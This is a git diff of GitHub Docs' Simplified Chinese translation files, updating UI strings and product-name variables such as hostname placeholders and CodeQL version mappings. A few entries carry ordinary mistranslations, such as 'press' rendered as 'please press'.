GitHub 社区 survey: - able_to_find: Did this doc help you? + able_to_find: 此文档对你有帮助吗? yes: Yes no: No - comment_yes_label: Let us know what we do well - comment_no_label: Let us know what we can do better - optional: Optional - required: Required + comment_yes_label: 让我们知道哪方面做得好 + comment_no_label: 告诉我们如何改进 + optional: 可选 + required: 必选 email_placeholder: email@example.com - email_label: If we can contact you with more questions, please enter your email address - email_validation: Please enter a valid email address + email_label: 如果我们可以就更多问题与你联系,请输入电子邮件地址 + email_validation: 请输入有效的电子邮件地址 send: Send - feedback: Thank you! We received your feedback. - not_support: If you need a reply, please contact support instead. - privacy_policy: Privacy policy + feedback: 谢谢!我们收到了你的反馈。 + not_support: 如果你需要回复,请联系客户支持。 + privacy_policy: 隐私政策 contribution_cta: - title: Help us make these docs great! - body: All GitHub docs are open source. See something that's wrong or unclear? Submit a pull request. - button: Make a contribution - or: Or, - to_guidelines: learn how to contribute. -parameter_table: - body: Body parameters - default: Default - description: Description - enum_description_title: Can be one of - headers: Headers - name: Name - path: Path parameters - query: Query parameters - required: Required - see_preview_notice: See preview notice - see_preview_notices: See preview notices - type: Type - single_enum_description: Value + title: 帮助我们创建出色的文档! + body: 所有 GitHub 文档都是开源的。看到错误或不清楚的内容了吗?提交拉取请求。 + button: 做出贡献 + or: 或者, + to_guidelines: 了解如何参与。 products: graphql: reference: - implements: Implements - fields: Fields - arguments: Arguments - name: Name - type: Type - description: Description - input_fields: Input fields - return_fields: Return fields - implemented_by: Implemented by - values: Values - possible_types: Possible types - preview_notice: Preview notice - deprecation_notice: Deprecation notice - preview_period: During the preview period, the API may change without notice. + implements: 实现 + fields: 字段 + arguments: 参数 + name: 名称 + type: 类型 + description: 说明 + input_fields: 输入字段 + return_fields: 返回字段 + implemented_by: 实施者 + values: 值 + possible_types: 可能的类型 + preview_notice: 预览通知 + deprecation_notice: 启用通知 + preview_period: 在预览期间,API 可能会更改,恕不通知。 overview: - preview_header: 'To toggle this preview and access the following schema members, you must provide a custom media type in the `Accept` header:' - preview_schema_members: 'Previewed schema members' - announced: Announced - updates: Updates + preview_header: '若要切换此预览并访问以下架构成员,必须在 `Accept` 标头中提供自定义媒体类型:' + preview_schema_members: '预览的架构成员' + announced: 已公布 + updates: 更新 rest: - banner: - api_versioned: The REST API is now versioned. - api_version_info: For more information, see "About API versioning." - ghes_api_versioned: After a site administrator upgrades your Enterprise Server instance to {{ firstGhesReleaseWithApiVersions.versionTitle }} or later, the REST API will be versioned. To learn how to find your instance's version, see "About versions of GitHub Docs". - versioning: - about_versions: About REST API versions reference: + default: 默认 + name: 名称 in: In - description: Description - notes: Notes - parameters: Parameters - response: Response - example_response: Example response - status_code: Status code - http_status_code: HTTP response status codes - code_sample: Code sample - code_samples: Code samples - preview_notice: Preview notice - preview_notices: Preview notices - preview_header_is_required: This header is required - preview_notice_to_change: This API is under preview and subject to change - works_with: Works with - api_reference: REST API reference - enum_description_title: Can be one of - required: Required - headers: Headers - query: Query parameters - path: Path parameters - body: Body parameters - webhooks: - action_type_switch_error: There was an error switching webhook action types. - action_type: Action type - availability: Availability - webhook_payload_object: Webhook payload object - webhook_payload_example: Webhook payload example - rephrase_availability: - repository: Repositories - organization: Organizations - app: GitHub Apps - business: Enterprises - marketplace: GitHub Marketplace - sponsors_listing: Sponsored accounts + type: 类型 + description: 说明 + notes: 说明 + parameters: 参数 + response: 响应 + example_response: 示例响应 + status_code: 状态代码 + http_status_code: HTTP 响应状态代码 + code_sample: 代码示例 + code_samples: 代码示例 + preview_notice: 预览通知 + preview_notices: 预览通知 + see_preview_notice: 查看预览通知 + see_preview_notices: 查看预览通知 + preview_header_is_required: 此标头必填 + preview_notice_to_change: 此 API 处于预览阶段,可能会更改 + works_with: 使用 + api_reference: REST API 参考 + enum_description_title: 可以是以下选项之一 + required: 必选 + headers: 头文件 + query: 查询参数 + path: 路径参数 + body: 正文参数 footer: - all_rights_reserved: All rights reserved - terms: Terms - privacy: Privacy - security: Security + all_rights_reserved: 保留所有权利 + terms: 术语 + privacy: 隐私 + security: 安全性 product: - heading: Product + heading: Products links: - features: Features - security: Security + features: 功能 + security: 安全性 enterprise: Enterprise - case_studies: Case Studies - pricing: Pricing - resources: Resources + case_studies: 案例研究 + pricing: 定价 + resources: 资源 platform: - heading: Platform + heading: 平台 links: - developer_api: Developer API - partners: Partners + developer_api: 开发人员 API + partners: 合作伙伴 atom: Atom electron: Electron github_desktop: GitHub Desktop support: - heading: Support + heading: 支持 links: - help: Help - community_forum: Community Forum - training: Training - status: Status - contact_github: Contact GitHub + help: 帮助 + community_forum: 社区论坛 + training: 培训 + status: 状态 + contact_github: 联系 GitHub company: heading: Company links: - about: About - blog: Blog - careers: Careers - press: Press + about: 关于 + blog: 博客 + careers: 招聘 + press: 请按 shop: Shop product_landing: - quickstart: Quickstart - reference: Reference - overview: Overview - guides: Guides - code_examples: Code examples - search_code_examples: Search code examples - search_results_for: Search results for - matches_displayed: Matches displayed - show_more: Show more - explore_people_and_projects: Explore people and projects - sorry: Sorry, there is no result for - no_example: It looks like we don't have an example that fits your filter. - try_another: Try another filter or add your code example. - no_result: Sorry, there are no guides that match your filter. - learn: Learn how to add a code example - communities_using_discussions: Communities on GitHub.com using discussions - add_your_community: Add your community - sponsor_community: GitHub Sponsors community - supported_releases: Supported releases - release_notes_for: Release notes for - upgrade_from: Upgrade from - browse_all_docs: Browse all docs - browse_all: Browse all - docs: docs - explore_release_notes: Explore release notes - view: View all + quickstart: 快速入门 + reference: 参考 + overview: 概述 + guides: 指南 + code_examples: 代码示例 + search_code_examples: 搜索代码示例 + search_results_for: 搜索以下项的结果 + matches_displayed: 显示的匹配项 + show_more: 显示更多 + explore_people_and_projects: 探索人员和项目 + sorry: 抱歉,找不到以下项的结果 + no_example: 看起来我们没有适合你的筛选条件的示例。 + try_another: 请尝试另一个筛选条件或添加你的代码示例。 + no_result: 抱歉,没有与你的筛选条件匹配的指南。 + learn: 了解如何添加代码示例 + communities_using_discussions: GitHub.com 上使用讨论的社区 + add_your_community: 添加社区 + sponsor_community: GitHub Sponsors 社区 + supported_releases: 支持的版本 + release_notes_for: 发行说明 + upgrade_from: 升级前的版本 + browse_all_docs: 浏览所有文档 + browse_all: 浏览全部 + docs: 文档 + explore_release_notes: 浏览发行说明 + view: 查看全部 product_guides: - start_path: Start learning path - learning_paths: '{{ productMap[currentProduct].name }} learning paths' - learning_paths_desc: Learning paths are a collection of guides that help you master a particular subject. - guides: '{{ productMap[currentProduct].name }} guides' - more_guides: more guides - load_more: Load more guides - all_guides: 'All {{ productMap[currentProduct].name }} guides' - filter_instructions: Filter the guide list using these controls + start_path: 启动学习路径 + learning_paths: '{{ productMap[currentProduct].name }} 学习路径' + learning_paths_desc: 学习路径是一系列帮助你掌握特定主题的指南。 + guides: '{{ productMap[currentProduct].name }} 指南' + more_guides: 更多指南 + load_more: 加载更多指南 + all_guides: '所有 {{ productMap[currentProduct].name }} 指南' + filter_instructions: 使用这些控件筛选指南列表 filters: - type: Type - topic: Topic + type: 类型 + topic: 主题 all: All guides_found: - multiple: '{n} guides found' - one: 1 guide found - none: No guides found + multiple: '找到了 {n} 个指南' + one: 找到了 1 个指南 + none: 找不到指南 guide_types: - overview: Overview - quick_start: Quickstart - tutorial: Tutorial - how_to: How-to guide - reference: Reference + overview: 概述 + quick_start: 快速入门 + tutorial: 教程 + how_to: 操作指南 + reference: 参考 learning_track_nav: - prevGuide: Previous guide - nextGuide: Next guide + prevGuide: 上一个指南 + nextGuide: 下一个指南 toggle_images: - off: Images are off, click to show - on: Images are on, click to hide - hide_single: Hide image - show_single: Show image + off: 图像已关闭,点击显示 + on: 图像已打开,点击隐藏 + hide_single: 隐藏图像 + show_single: 显示图像 scroll_button: - scroll_to_top: Scroll to top + scroll_to_top: 滚动到顶部 diff --git a/translations/zh-CN/data/variables/product.yml b/translations/zh-CN/data/variables/product.yml index c4d5c9dc15..769d6949b3 100644 --- a/translations/zh-CN/data/variables/product.yml +++ b/translations/zh-CN/data/variables/product.yml @@ -23,6 +23,15 @@ prodname_ghe_cloud: 'GitHub Enterprise Cloud' prodname_ghe_managed: 'GitHub AE' prodname_ghe_one: 'GitHub One' prodname_docs: 'GitHub Docs' + +## Use these variables when referring specifically to a location within a product +product_location: >- + {% ifversion ghes %}your GitHub Enterprise Server instance{% elsif ghae %}your enterprise{% else %}GitHub.com{% endif %} + +# Used ONLY when you need to refer to a GHES instance in an article that is versioned for non-GHES versions. +# Do not use in other situations! +product_location_enterprise: 'your GitHub Enterprise Server instance' + prodname_free_user: 'GitHub Free' prodname_pro: 'GitHub Pro' prodname_team: 'GitHub Team' @@ -31,7 +40,10 @@ prodname_free_team: 'GitHub Free' prodname_enterprise_backup_utilities: 'GitHub Enterprise Server Backup Utilities' # GitHub Connect (enterprise accounts, other unified features) +## Phrase content so that the uncapitalized unified contributions or unified search variables are not used at the start of a sentence. prodname_github_connect: 'GitHub Connect' +prodname_unified_contributions: 'unified contributions' +prodname_unified_search: 'unified search' # GitHub Enterprise migration tool prodname_importer_proper_name: 'GitHub Enterprise Importer' @@ -71,7 +83,7 @@ prodname_codeql_cli: 'CodeQL CLI' # CodeQL usually bumps its minor version for each minor version of GHES. # Update this whenever a new enterprise version of CodeQL is being prepared. codeql_cli_ghes_recommended_version: >- - {% ifversion ghes < 3.5 or ghae < 3.5 %}2.7.6{% elsif ghes = 3.5 or ghae = 3.5 %}2.8.5{% elsif ghes = 3.6 or ghae = 3.6 %}2.9.4{% elsif ghes = 3.7 or ghae = 3.7 %}2.10.5{% endif %} + {% ifversion ghes < 3.3 %}2.6.3{% elsif ghes < 3.5 or ghae < 3.5 %}2.7.6{% elsif ghes = 3.5 or ghae = 3.5 %}2.8.5{% elsif ghes = 3.6 or ghae = 3.6 %}2.9.4{% elsif ghes = 3.7 or ghae = 3.7 %}2.10.5{% endif %} # Projects v2 prodname_projects_v2: 'Projects' @@ -84,21 +96,6 @@ prodname_project_v1: >- prodname_project_v1_caps: >- {% ifversion ghes or ghae %}Project board{% else %}Project (classic){% endif %} -# Personal access tokens -pat_generic: 'personal access token' -pat_generic_caps: 'Personal access token' -pat_generic_title_case: 'Personal Access Token' -pat_v2: 'fine-grained personal access token' -pat_v2_caps: 'Fine-grained personal access token' -pat_v1: >- - {% ifversion pat-v2 %}personal access token (classic){% else %}personal access token{% endif %} -pat_v1_plural: >- - {% ifversion pat-v2 %}personal access tokens (classic){% else %}personal access tokens{% endif %} -pat_v1_caps: >- - {% ifversion pat-v2 %}Personal access token (classic){% else %}Personal access token{% endif %} -pat_v1_caps_plural: >- - {% ifversion pat-v2 %}Personal access tokens (classic){% else %}Personal access tokens{% endif %} - # Apps, GitHub Marketplace, and integrations prodname_marketplace: 'GitHub Marketplace' prodname_github_app: 'GitHub App' @@ -110,6 +107,9 @@ prodname_oauth_apps: 'OAuth Apps' prodname_enterprise_api: '{% ifversion ghes %}GitHub Enterprise Server{% elsif ghae %}GitHub AE{% endif %} APIs' prodname_unfurls: 'Content Attachments' +# Azure AD +ae_azure_ad_app_link: 'the [GitHub AE application](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterpriseserver)' + # GitHub Actions ## Use this variable only when referring to GitHub Actions the product. When referring to the thing that someone creates using the product, call it an action (small a). See the terminology page of the Brand Guide for more. prodname_actions: 'GitHub Actions' @@ -124,6 +124,11 @@ prodname_discussions: 'GitHub Discussions' prodname_emu_idp_application: 'GitHub Enterprise Managed User' prodname_emu_idp_oidc_application: 'GitHub Enterprise Managed User (OIDC)' prodname_emus: 'Enterprise Managed Users' +prodname_managed_user: 'managed user account' +prodname_managed_users: 'managed user accounts' +prodname_managed_users_caps: 'Managed user accounts' +prodname_emu_enterprise: 'enterprise with managed users' +prodname_emu_org: 'organization with managed users' # GitHub Issues prodname_github_issues: 'GitHub Issues' @@ -150,6 +155,7 @@ prodname_advanced_security: 'Advanced Security' # Codespaces prodname_codespaces: 'Codespaces' prodname_github_codespaces: 'GitHub Codespaces' +prodname_serverless: 'web-based editor' # GitHub resources: blog, jobs, skills prodname_gcf: 'GitHub Community Support' @@ -174,15 +180,12 @@ support_ticket_priority_low: 'Low' prodname_professional_services: 'GitHub Professional Services' prodname_professional_services_team: 'Professional Services' -# GitHub Security Lab +# Security features / code scanning platform / Security Lab prodname_security: 'GitHub Security Lab' prodname_security_link: 'https://securitylab.github.com/' - -# GitHub Security Advisories prodname_security_advisories: 'GitHub Security Advisories' -prodname_advisory_database: 'GitHub Advisory Database' -# Secret scanning +# Security features and code scanning platform prodname_secret_scanning: 'secret scanning' # Overall feature name and name for GHES and GHAE prodname_secret_scanning_caps: 'Secret scanning' prodname_secret_scanning_partner: 'secret scanning for partner patterns' # GitHub.com feature for public repos only @@ -193,14 +196,20 @@ prodname_secret_scanning_GHAS: prodname_secret_scanning_GHAS_caps: >- {% ifversion fpt or ghec %}Secret scanning for advanced security{% else %}Secret scanning{% endif %} -# Code scanning prodname_code_scanning: 'code scanning' prodname_code_scanning_capc: 'Code scanning' +prodname_codeql_runner: 'CodeQL runner' +prodname_advisory_database: 'GitHub Advisory Database' +prodname_codeql_workflow: 'CodeQL analysis workflow' +prodname_dependency_review_action: 'dependency review action' # Visual Studio prodname_vs: 'Visual Studio' prodname_vscode_shortname: 'VS Code' prodname_vscode: 'Visual Studio Code' +prodname_vs_subscriber: '{% data variables.product.prodname_vs %} subscriber' +prodname_vss_ghe: 'Visual Studio subscriptions with GitHub Enterprise' +prodname_vss_admin_portal_with_url: 'the [administrator portal for Visual Studio subscriptions](https://visualstudio.microsoft.com/subscriptions-administration/)' prodname_vscode_command_palette_shortname: 'VS Code Command Palette' prodname_vscode_command_palette: 'Visual Studio Code Command Palette' prodname_vscode_marketplace: 'Visual Studio Code Marketplace' @@ -220,10 +229,6 @@ prodname_arctic_vault: 'Arctic Code Vault' # GitHub Copilot prodname_copilot: 'GitHub Copilot' prodname_copilot_short: 'Copilot' -prodname_copilot_for_business: 'GitHub Copilot for Business' -prodname_copilot_for_individuals: 'GitHub Copilot for Individuals' -prodname_copilot_business_short: 'Copilot for Business' -prodname_copilot_individuals_short: 'Copilot for Individuals' # Command Palette prodname_command_palette: 'GitHub Command Palette' @@ -231,19 +236,16 @@ prodname_command_palette: 'GitHub Command Palette' # Server Statistics prodname_server_statistics: 'Server Statistics' -# GitHub Actions Importer -prodname_actions_importer: 'GitHub Actions Importer' - # Links product_url: >- - {% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %} + {% ifversion fpt or ghec %}github.com{% else %}[hostname]{% endif %} pricing_url: 'https://github.com/pricing' signin_link: >- - {% ifversion fpt or ghec %}[Sign in](https://github.com/login){% else %}Sign in (`https://HOSTNAME/login`){% endif %} + {% ifversion fpt or ghec %}[Sign in](https://github.com/login){% else %}Sign in (`https://[hostname]/login`){% endif %} signout_link: >- - {% ifversion fpt or ghec %}[Sign out](https://github.com/logout){% else %}Sign out (`https://HOSTNAME/logout`){% endif %} + {% ifversion fpt or ghec %}[Sign out](https://github.com/logout){% else %}Sign out (`https://[hostname]/logout`){% endif %} raw_github_com: >- - {% ifversion fpt or ghec %}raw.githubusercontent.com{% else %}HOSTNAME/user/repo/raw{% endif %} + {% ifversion fpt or ghec %}raw.githubusercontent.com{% else %}[hostname]/user/repo/raw{% endif %} # GitHub Enterprise Server past versions current-340-version: '11.10.354' @@ -253,25 +255,25 @@ doc_url_pre: >- {% ifversion fpt or ghec %}https://docs.github.com/rest{% elsif ghes %}https://docs.github.com/enterprise/{{ currentVersion | version_num }}/rest{% elsif ghae %}https://docs.github.com/github-ae@latest/rest{% endif %} # Use this inside command-line code blocks api_url_pre: >- - {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://HOSTNAME/api/v3{% elsif ghae %}https://HOSTNAME/api/v3{% endif %} + {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://[hostname]/api/v3{% elsif ghae %}https://[hostname]/api/v3{% endif %} # Use this inside command-line code blocks # Enterprise OAuth paths that don't include "/graphql" or "/api/v3" oauth_host_code: >- - {% ifversion fpt or ghec %}https://github.com{% else %}http(s)://HOSTNAME{% endif %} + {% ifversion fpt or ghec %}https://github.com{% else %}http(s)://[hostname]{% endif %} device_authorization_url: >- {%- ifversion fpt or ghec %} [`https://github.com/login/device`](https://github.com/login/device) {%- elsif ghes %} - `http(s)://HOSTNAME/login/device` + `http(s)://[hostname]/login/device` {%- elsif ghae %} - `https://HOSTNAME/login/device` + `https://[hostname]/login/device` {%- endif %} # Use this all other code blocks api_url_code: >- - {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://HOSTNAME/api/v3{% elsif ghae %}https://HOSTNAME/api/v3{% endif %} + {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://[hostname]/api/v3{% elsif ghae %}https://[hostname]/api/v3{% endif %} # Use this inside command-line code blocks graphql_url_pre: >- - {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://HOSTNAME/api/graphql{% elsif ghae %}https://HOSTNAME/api/graphql{% endif %} + {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://[hostname]/api/graphql{% elsif ghae %}https://[hostname]/api/graphql{% endif %} # Use this all other code blocks graphql_url_code: >- - {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://HOSTNAME/api/graphql{% elsif ghae %}https://HOSTNAME/api/graphql{% endif %} + {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://[hostname]/api/graphql{% elsif ghae %}https://[hostname]/api/graphql{% endif %} diff --git a/translations/zh-CN/data/variables/projects.yml b/translations/zh-CN/data/variables/projects.yml index 6e4baab656..e4ef47adf7 100644 --- a/translations/zh-CN/data/variables/projects.yml +++ b/translations/zh-CN/data/variables/projects.yml @@ -1,23 +1,18 @@ projects_v2: 'projects' -projects_v2_caps: 'Projects' +projects_v2_caps: '项目' project_v2: 'project' project_v2_caps: 'Project' projects_v1_board: >- - {% ifversion ghae or ghes%}project board{% else %}classic project{% endif %} + {% ifversion ghes or ghae %}项目版块{% else %}经典项目{% endif %} projects_v1_board_caps: >- - {% ifversion ghes or ghae %}Project board{% else %}Classic project{% endif %} + {% ifversion ghes or ghae %}项目版块{% else %}经典项目{% endif %} projects_v1_boards: >- - {% ifversion ghes or ghae %}project boards{% else %}classic projects{% endif %} + {% ifversion ghes or ghae %}项目版块{% else %}经典项目{% endif %} projects_v1_boards_caps: >- - {% ifversion ghes or ghae %}Project boards{% else %}Classic projects{% endif %} - + {% ifversion ghes or ghae %}项目版块{% else %}经典项目{% endif %} command-palette-shortcut: 'Command+K (Mac) or Ctrl+K (Windows/Linux)' # Use feature flags to return which projects versions are available. -projects_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.projects_v2 %}{% ifversion projects-v1 %} and {% data variables.projects.projects_v1_boards %}{% endif %}{% else %}{% data variables.projects.projects_v1_boards %}{% endif %}' -project_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.project_v2 %}{% ifversion projects-v1 %} and {% data variables.projects.projects_v1_board %}{% endif %}{% else %}{% data variables.projects.projects_v1_board %}{% endif %}' - -# Limits -item_limit: '1,200' -archived_item_limit: '10,000' +projects_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.projects_v2 %}{% ifversion projects-v1 %} 和 {% data variables.projects.projects_v1_boards %}{% endif %}{% else %}{% data variables.projects.projects_v1_boards %}{% endif %}' +project_v2_and_v1: '{% ifversion projects-v2 %}{% data variables.projects.project_v2 %}{% ifversion projects-v1 %} 和 {% data variables.projects.projects_v1_board %}{% endif %}{% else %}{% data variables.projects.projects_v1_board %}{% endif %}'